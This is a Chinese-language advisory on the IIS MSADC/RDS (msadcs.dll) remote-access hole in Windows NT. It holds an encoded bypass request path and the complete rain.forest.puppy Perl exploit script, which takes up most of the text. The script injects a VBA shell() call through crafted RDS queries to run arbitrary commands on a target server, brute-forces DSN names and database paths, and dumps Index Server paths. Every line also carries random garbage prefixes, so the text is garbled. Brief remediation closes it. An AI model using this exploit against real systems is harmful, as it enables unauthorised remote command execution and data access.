IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
W<Ms0 .xXe *dm% 涉及程序：
F$T NYZ Microsoft NT server
?m&?BsW$) wNsAVUjLe 描述：
L2"fO 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
\0 &7 ^ :', . I 详细：
qU!*QZ^y& 如果你没有时间读详细内容的话，就删除:
*=]hc@ c:\Program Files\Common Files\System\Msadc\msadcs.dll
(1.E9+MquU 有关的安全问题就没有了。
2&*r1NXBE |\g =ua+h 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
]"'$i4I{R z+ybtS>pZ 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
\^<eJf D 关于利用ODBC远程漏洞的描述，请参看:
eow6{CD8 _g+^ jR4 http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm
2[WH8l+ =nQ"ye 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
SKT f =rY http://www.microsoft.com/security/bulletins/MS99-025faq.asp 5<o8prt B j$l[OZ:# 这里不再论述。
1r6>.&p >Mml+4<5 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
1mT3$Z ?L=@Zs /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
bLMN9wGOgK 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
YGp8./ma<I {J`Zl1_q d-%!.,F#W #将下面这段保存为txt文件，然后: "perl -x 文件名"
" 9=F/o9 [%U (l< #!perl
21Z}Zj #
Ap}^6_YXd # MSADC/RDS 'usage' (aka exploit) script
fbF *C V #
md`PRZzj@ # by rain.forest.puppy
0(A(Vb5J.T #
y%.^|
G # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
an+`>}]F # beta test and find errors!
lq2P10j @ A%H" a+ use Socket; use Getopt::Std;
ICSi<V[y1 getopts("e:vd:h:XR", \%args);
#]nH$K q nS xFz! print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
>kK;IF9h i7h!,vaK if (!defined $args{h} && !defined $args{R}) {
6FMW}*6< print qq~
r)$(>/[$ Usage: msadc.pl -h <host> { -d <delay> -X -v }
c"X` OB -h <host> = host you want to scan (ip or domain)
RhVQVj c -d <seconds> = delay between calls, default 1 second
8BUPvaP<[ -X = dump Index Server path table, if available
m9My -v = verbose
'~?\NeO= -e = external dictionary file for step 5
32[ lsU>1 h-B&m:gD_U Or a -R will resume a command session
rzC\8Dd YGVj$\ ~; exit;}
NP%Y\%;l6 3nVdws $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
96fz SZS, if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
r|rOIAo if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
YEG RM$'` if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
BU|=`Kb|)) $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
?#|Y'%a" if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
(<f`},
QxD Y`@:L' j if (!defined $args{R}){ $ret = &has_msadc;
Wi3:;`>G<p die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
Gi})*U]P| %X(iAoxbj print "Please type the NT commandline you want to run (cmd /c assumed):\n"
8,0p14I5; . "cmd /c ";
(8C
,"Dc[0 $in=<STDIN>; chomp $in;
%<@."uWF* $command="cmd /c " . $in ;
p|Po##E}g^ =5bef8 O if (defined $args{R}) {&load; exit;}
FX
QUj&9 _~f& wkc print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
%u"3&kOV &try_btcustmr;
3D3/\E#'o w i,}sEoM print "\nStep 2: Trying to make our own DSN...";
yyZV/
x~ &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
-3
.Sr|t -e H5s3:A print "\nStep 3: Trying known DSNs...";
Yj+p^@{S2P &known_dsn;
OZ2gIK 5[Sa7Mk print "\nStep 4: Trying known .mdbs...";
}?zy*yL &known_mdb;
Ba$&4?8 HIUB: if (defined $args{e}){
{ETuaFDM print "\nStep 5: Trying dictionary of DSN names...";
*n $=2v^A &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
2"`R_q \XaKq8uE print "Sorry Charley...maybe next time?\n";
qKX 3Npw exit;
2y/|/IW= eh=.Q<N ##############################################################################
92|\`\LP% m22FOjk\ sub sendraw { # ripped and modded from whisker
FsI51@V72Q sleep($delay); # it's a DoS on the server! At least on mine...
E<u6 js, my ($pstr)=@_;
I^h^Q eBis socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
Gh3b*O_, die("Socket problems\n");
d>j`|(\ if(connect(S,pack "SnA4x8",2,80,$target)){
:q_(=EA select(S); $|=1;
sTx23RJ9 print $pstr; my @in=<S>;
K&2{k+ w select(STDOUT); close(S);
2H7b2% return @in;
*c<=IcA } else { die("Can't connect...\n"); }}
IbFS8 *a\ J QCQpn/ ##############################################################################
SGi (Zkc -%8*>% sub make_header { # make the HTTP request
L4bx [ my $msadc=<<EOT
}GV5':W@WG POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
'1|FqQ\. User-Agent: ACTIVEDATA
+AGI)uQQ Host: $ip
|G^w2"D_Z Content-Length: $clen
Ae,P&( Connection: Keep-Alive
k /MrNiC =+{SZh@ ADCClientVersion:01.06
xY] Y Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
J&mZsa)4 i,5mH$a&u: --!ADM!ROX!YOUR!WORLD!
6_`9
4+ Content-Type: application/x-varg
QDO.&G2 Content-Length: $reqlen
9F[k;U w <Co\?h/< EOT
n o6q3< re ; $msadc=~s/\n/\r\n/g;
*&7F( return $msadc;}
H_H3Gp HE>6A|rgDr ##############################################################################
~4e4G yx c aj>6q=R sub make_req { # make the RDS request
d|T87K>|r" my ($switch, $p1, $p2)=@_;
~?l>QP|o my $req=""; my $t1, $t2, $query, $dsn;
8| FHr, *}mk$bA if ($switch==1){ # this is the btcustmr.mdb query
/_yJ;l /K $query="Select * from Customers where City=" . make_shell();
:Fe}.* t $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
@)"= b!q= $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
vwA d6Tm 3[*E>:)qh elsif ($switch==2){ # this is general make table query
ces|HPBa&6 $query="create table AZZ (B int, C varchar(10))";
(-'Jf #&X^ $dsn="$p1";}
<kJ,E[4` PNNY_t +I elsif ($switch==3){ # this is general exploit table query
tWD5Yh>.?$ $query="select * from AZZ where C=" . make_shell();
9fLxp$`(T $dsn="$p1";}
{<f |h)r Yz6+
x] elsif ($switch==4){ # attempt to hork file info from index server
$CT 2E $query="select path from scope()";
[nL{n bli $dsn="Provider=MSIDXS;";}
i@Vi.oc4[ Qf HJZ7K.4 elsif ($switch==5){ # bad query
7RE'KH_$ $query="select";
IdP"]Sv{< $dsn="$p1";}
P*9vs %W Jat|n97$ $t1= make_unicode($query);
/*v} .fH% $t2= make_unicode($dsn);
" ,9QqgY+ $req = "\x02\x00\x03\x00";
=8Bq2.nlR $req.= "\x08\x00" . pack ("S1", length($t1));
Sz z:$!t $req.= "\x00\x00" . $t1 ;
<$ H-/~Y $req.= "\x08\x00" . pack ("S1", length($t2));
S3cV^CzNg $req.= "\x00\x00" . $t2 ;
HN7C+e4U~ $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
|}hV_ return $req;}
=\[}@Kh iLd_{ ##############################################################################
2<"kfa n mpcO -%a sub make_shell { # this makes the shell() statement
6
07"Z\ return "'|shell(\"$command\")|'";}
0+H4sz%. aaa6R|>0 ##############################################################################
Z4@%0mFll #`kLU: sub make_unicode { # quick little function to convert to unicode
{:peArO my ($in)=@_; my $out;
(g>8!Gl for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
x(r>iy return $out;}
c-? 2>%;(V luPj 'd? ##############################################################################
T j[= E xfAnZBsVo sub rdo_success { # checks for RDO return success (this is kludge)
g#??Mz my (@in) = @_; my $base=content_start(@in);
.=I:cniw\r if($in[$base]=~/multipart\/mixed/){
o8Q+hZB}A return 1 if( $in[$base+10]=~/^\x09\x00/ );}
Zn dv!z return 0;}
OhNEt> OE{PP9 eh ##############################################################################
;|a,1#x `Z)]mH\ X sub make_dsn { # this makes a DSN for us
,lso xl my @drives=("c","d","e","f");
z QPQP` print "\nMaking DSN: ";
oM<Y o%n foreach $drive (@drives) {
)p?p39>h print "$drive: ";
d q.'[ my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
#KFpT__F "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
5:" zs . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
@'D ,T^I $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
G; onJ > return 0 if $2 eq "404"; # not found/doesn't exist
:h (r2?=7 if($2 eq "200") {
xRTr@ foreach $line (@results) {
.6 6_g@1 return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
#RN"Ul-B| } return 0;}
aC2cyUuaN ZJZKCdT@ ##############################################################################
06r-@iY.] @_:Jm
tH< sub verify_exists {
i,3[0* ge my ($page)=@_;
J/-&Fa\( my @results=sendraw("GET $page HTTP/1.0\n\n");
Zo12F**{ return $results[0];}
2Pa Rbh{" *F_ dP ##############################################################################
#z. QBG@ 6 2YT)/i3 sub try_btcustmr {
q-k~L\Ys my @drives=("c","d","e","f");
rzk]{W my @dirs=("winnt","winnt35","winnt351","win","windows");
ud ld[f. 8dBG ZwyET foreach $dir (@dirs) {
+ f+#W print "$dir -> "; # fun status so you can see progress
<"}Gvi foreach $drive (@drives) {
I z^lED print "$drive: "; # ditto
&a/F"?9jL $reqlen=length( make_req(1,$drive,$dir) ) - 28;
9hNHcl. $reqlenlen=length( "$reqlen" );
2A,iY}R $clen= 206 + $reqlenlen + $reqlen;
U"0Ts!CABA jO5R0^w my @results=sendraw(make_header() . make_req(1,$drive,$dir));
)^D:VY9 2 if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
D=!e6E<>@ else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
0P%,1M3d |o5F%1o ##############################################################################
~ "IjT'W3 x kl XV sub odbc_error {
u djahI<{ my (@in)=@_; my $base;
})Pq!u:3 my $base = content_start(@in);
Y +[Z,
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
L)mb.U$`c| $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
r6u )
6J= $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
c^%vyBMY $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
<* 4'H return $in[$base+4].$in[$base+5].$in[$base+6];}
XZ3)gYQi print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
E\GD hfTQ print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
9^AfT>b~f $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
eHt |O~ --t5jSS44 ##############################################################################
.3Ag6YI0N Z: e|~# sub verbose {
0</]Jo% my ($in)=@_;
'7j!B1K- return if !$verbose;
!.^%*6f print STDOUT "\n$in\n";}
~"t33U6 s .xJ},E9 ##############################################################################
L<` p;? ;O Td< sub save {
piy_9nk my ($p1, $p2, $p3, $p4)=@_;
;FI"N@z open(OUT, ">rds.save") || print "Problem saving parameters...\n";
kCuIEv@ print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
#xlT,:_:) close OUT;}
BY&+fK ae xGU~FU ##############################################################################
iuxS=3lT"K r^j iK\* sub load {
9pPohR*#V my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
,[j'OyR open(IN,"<rds.save") || die("Couldn't open rds.save\n");
;`(l)X+7 @p=<IN>; close(IN);
'T_Vm%\) $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
Zd Li<1P*d $target= inet_aton($ip) || die("inet_aton problems");
16 38U 1 print "Resuming to $ip ...";
HpQuro'Qh $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
tsqkV7? if($p[1]==1) {
XXe?@w2{ $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
2y"|l $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
BPH-g\q my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
=Ll:Ba Q if (rdo_success(@results)){print "Success!\n";}
qa!3l b_'M else { print "failed\n"; verbose(odbc_error(@results));}}
cc
%m0p elsif ($p[1]==3){
`62iW3y if(run_query("$p[3]")){
~|>q)4is6a print "Success!\n";} else { print "failed\n"; }}
!-OPzfHrI elsif ($p[1]==4){
#+ <"`}]N if(run_query($drvst . "$p[3]")){
- wi zUp print "Success!\n"; } else { print "failed\n"; }}
S D=kpf; exit;}
Js70 6 [*jvvkAp ##############################################################################
hh$V[/iK x U1](O sub create_table {
ux
7^PTgcO my ($in)=@_;
Te :4 z@? $reqlen=length( make_req(2,$in,"") ) - 28;
L]_1z $reqlenlen=length( "$reqlen" );
1lf 5xm. $clen= 206 + $reqlenlen + $reqlen;
6[{|' my @results=sendraw(make_header() . make_req(2,$in,""));
q!sazVaDp return 1 if rdo_success(@results);
=D@+_7\? my $temp= odbc_error(@results); verbose($temp);
SCUsDr+. return 1 if $temp=~/Table 'AZZ' already exists/;
&E (KOfk# return 0;}
^#Ruw?D n!Dy-)!`O ##############################################################################
IL\2?(&Z 1J
tt\yq sub known_dsn {
I<["ko,t@? # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
~ 53uUT|B my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
y !,Ly_x$@ "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
O6gl[a ZN "banner", "banners", "ads", "ADCDemo", "ADCTest");
tzKIi_2 @+,J^[ y foreach $dSn (@dsns) {
h>A~. . print ".";
5Lo\[K >j next if (!is_access("DSN=$dSn"));
X` n)]~ if(create_table("DSN=$dSn")){
v"po} K print "$dSn successful\n";
Ew9\Y R} if(run_query("DSN=$dSn")){
R[l9f8 print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
.>.B print "Something's borked. Use verbose next time\n";}}} print "\n";}
NukcBH .0 [
zZ ##############################################################################
x bsk 8^8fUN4<= sub is_access {
?m RGFS my ($in)=@_;
9 K.B $reqlen=length( make_req(5,$in,"") ) - 28;
42{\u 08Z $reqlenlen=length( "$reqlen" );
@Z fQ)q\ $clen= 206 + $reqlenlen + $reqlen;
a*oqhOTQ my @results=sendraw(make_header() . make_req(5,$in,""));
B]""%&! O my $temp= odbc_error(@results);
)fRZ}7k: verbose($temp); return 1 if ($temp=~/Microsoft Access/);
aT[qJ bp1 return 0;}
-!~ T$}/F I>(3\z4s ##############################################################################
^)| !nd 6~t;&)6J sub run_query {
M$O*@]) my ($in)=@_;
W'B=H1 $reqlen=length( make_req(3,$in,"") ) - 28;
AD** 4E $reqlenlen=length( "$reqlen" );
[nx
OGa2 $clen= 206 + $reqlenlen + $reqlen;
Xv~v=.HNhk my @results=sendraw(make_header() . make_req(3,$in,""));
L7}dvdtZ0 return 1 if rdo_success(@results);
f
<,E my $temp= odbc_error(@results); verbose($temp);
'DDlX3W- return 0;}
sX :)g>b
dkr[B' n ##############################################################################
8H%-/2NW WFYbmfmV sub known_mdb {
AxsTB9/ my @drives=("c","d","e","f","g");
,?OWwm&J my @dirs=("winnt","winnt35","winnt351","win","windows");
O :'ENoQ:& my $dir, $drive, $mdb;
gHB*u!w7Z my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
8`0/?MZ) rQuozbBb # this is sparse, because I don't know of many
./iC my @sysmdbs=( "\\catroot\\icatalog.mdb",
\ fk%^1XY "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
91Fx0( "\\system32\\certmdb.mdb",
;E!(W=]*F "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
>l!#_a O/|,rAE my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
(pU@$H "\\cfusion\\cfapps\\forums\\forums_.mdb",
3
W%Bsqn "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
i$[wkQ>$ "\\cfusion\\cfapps\\security\\realm_.mdb",
Al 0
i{.V "\\cfusion\\cfapps\\security\\data\\realm.mdb",
'#;%=+=; "\\cfusion\\database\\cfexamples.mdb",
;$\?o "\\cfusion\\database\\cfsnippets.mdb",
KliMw*5( "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
"IjCuR;# "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
+J`H I1 "\\cfusion\\brighttiger\\database\\cleam.mdb",
0|D^_1W`R "\\cfusion\\database\\smpolicy.mdb",
tJ_6d H8Y "\\cfusion\\database\cypress.mdb",
<hS % I "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
+bGj(T%+' "\\website\\cgi-win\\dbsample.mdb",
*i=+["A "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
FK^JCs^ "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
h8ikM&fl ); #these are just
Y%i=u:}fm foreach $drive (@drives) {
;`{PA
! > foreach $dir (@dirs){
%/K' VE6pb foreach $mdb (@sysmdbs) {
fW'@+<b print ".";
U@ 6bH@v5 if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
xYg G print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
_`H2CXG g if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
g}vOp3 ^ print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
`2B,+ytW8 } else { print "Something's borked. Use verbose next time\n"; }}}}}
X:un4 B}O `ZC{<eVJ}= foreach $drive (@drives) {
#J O WiO0> foreach $mdb (@mdbs) {
D.i(Irqw! print ".";
BkH- d z if(create_table($drv . $drive . $dir . $mdb)){
&7}\mnhB print "\n" . $drive . $dir . $mdb . " successful\n";
G<5i %@ if(run_query($drv . $drive . $dir . $mdb)){
\L-K}U>J print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
^h c&rD )_ } else { print "Something's borked. Use verbose next time\n"; }}}}
JB_<Haj }
&?#,rEw<x mr4W2Z@L ##############################################################################
hZ#ydI| N`G*
h^YQ sub hork_idx {
}%&hxhR^t3 print "\nAttempting to dump Index Server tables...\n";
5yh:P3 / print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
zE~{}\J $reqlen=length( make_req(4,"","") ) - 28;
\BoRYb9h $reqlenlen=length( "$reqlen" );
M<A jtDF% $clen= 206 + $reqlenlen + $reqlen;
~)Z MGx my @results=sendraw2(make_header() . make_req(4,"",""));
|<Cz#|
,q if (rdo_success(@results)){
:Z}d#Rbl my $max=@results; my $c; my %d;
]d}h`!: for($c=19; $c<$max; $c++){
$s* nh>@7 $results[$c]=~s/\x00//g;
$,/;QP } $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
QM"\; l?? $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
pBd_Ba N $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
d>RoH]K4 $d{"$1$2"}="";}
l@h|os foreach $c (keys %d){ print "$c\n"; }
N FVr$?P } else {print "Index server doesn't seem to be installed.\n"; }}
@scy v@5)F zQ&k$l9 ##############################################################################
MR) *Xh (P+TOu-y\ sub dsn_dict {
??'>kQ4 open(IN, "<$args{e}") || die("Can't open external dictionary\n");
H}Jdnu| ko while(<IN>){
0TD c Q $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
L, (H(GeX next if (!is_access("DSN=$dSn"));
g!#M0 if(create_table("DSN=$dSn")){
>q}Ns^ .' print "$dSn successful\n";
#><P28m if(run_query("DSN=$dSn")){
rx$ B(z(c print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
ja<!_^h=At print "Something's borked. Use verbose next time\n";}}}
GG9YAu print "\n"; close(IN);}
p4Wy2.&Q v$P<:M M ##############################################################################
EJ%Kr$51K d*Wg>8| sub sendraw2 { # ripped and modded from whisker
$N}nO:`t sleep($delay); # it's a DoS on the server! At least on mine...
|8|_^` my ($pstr)=@_;
Ib~n}SA socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
:EkhF 6B/ die("Socket problems\n");
| 4slG if(connect(S,pack "SnA4x8",2,80,$target)){
b3zxiq
x print "Connected. Getting data";
>dr34=( open(OUT,">raw.out"); my @in;
\8KAK3i' select(S); $|=1; print $pstr;
r?:zKj8/u while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
*ommU(r8 close(OUT); select(STDOUT); close(S); return @in;
:4 &q2- } else { die("Can't connect...\n"); }}
@`IMR$' dr54 D ##############################################################################
5>S<9A|Q ! U 6 x_ sub content_start { # this will take in the server headers
Xcy Xju#"p my (@in)=@_; my $c;
=k{ n! e for ($c=1;$c<500;$c++) {
A i~j
q if($in[$c] =~/^\x0d\x0a/){
60iMfc T if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
~ ~"qT else { return $c+1; }}}
[?= Vqd return -1;} # it should never get here actually
vmY 88Kx&S 0sQt+_Dl%L ##############################################################################
$GMva}@G` (59u<F sub funky {
u>K(m))5W3 my (@in)=@_; my $error=odbc_error(@in);
\qo}}I>e if($error=~/ADO could not find the specified provider/){
0+iaO"% print "\nServer returned an ADO miscofiguration message\nAborting.\n";
?k}"g$JFn exit;}
8Hf:yG, if($error=~/A Handler is required/){
.$rt>u,8< print "\nServer has custom handler filters (they most likely are patched)\n";
qgk-[zW# exit;}
% VSjMZ if($error=~/specified Handler has denied Access/){
q[wVC
h print "\nServer has custom handler filters (they most likely are patched)\n";
ri]"a?Rm exit;}}
ac2G;}B| Rg3cqe#O/ ##############################################################################
k* U(ln ,drcJ sub has_msadc {
tn\PxT my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
KysJ3G.k\ my $base=content_start(@results);
)J"*[[e return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
/`2t$71) return 0;}
g.V{CJ*V ^w tr~D| ########################
pE~>k: ,WA[HwY- hd'JXKMy 解决方案：
Za>0 &Fnf 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
J/{ !_M- 2、移除web 目录: /msadc
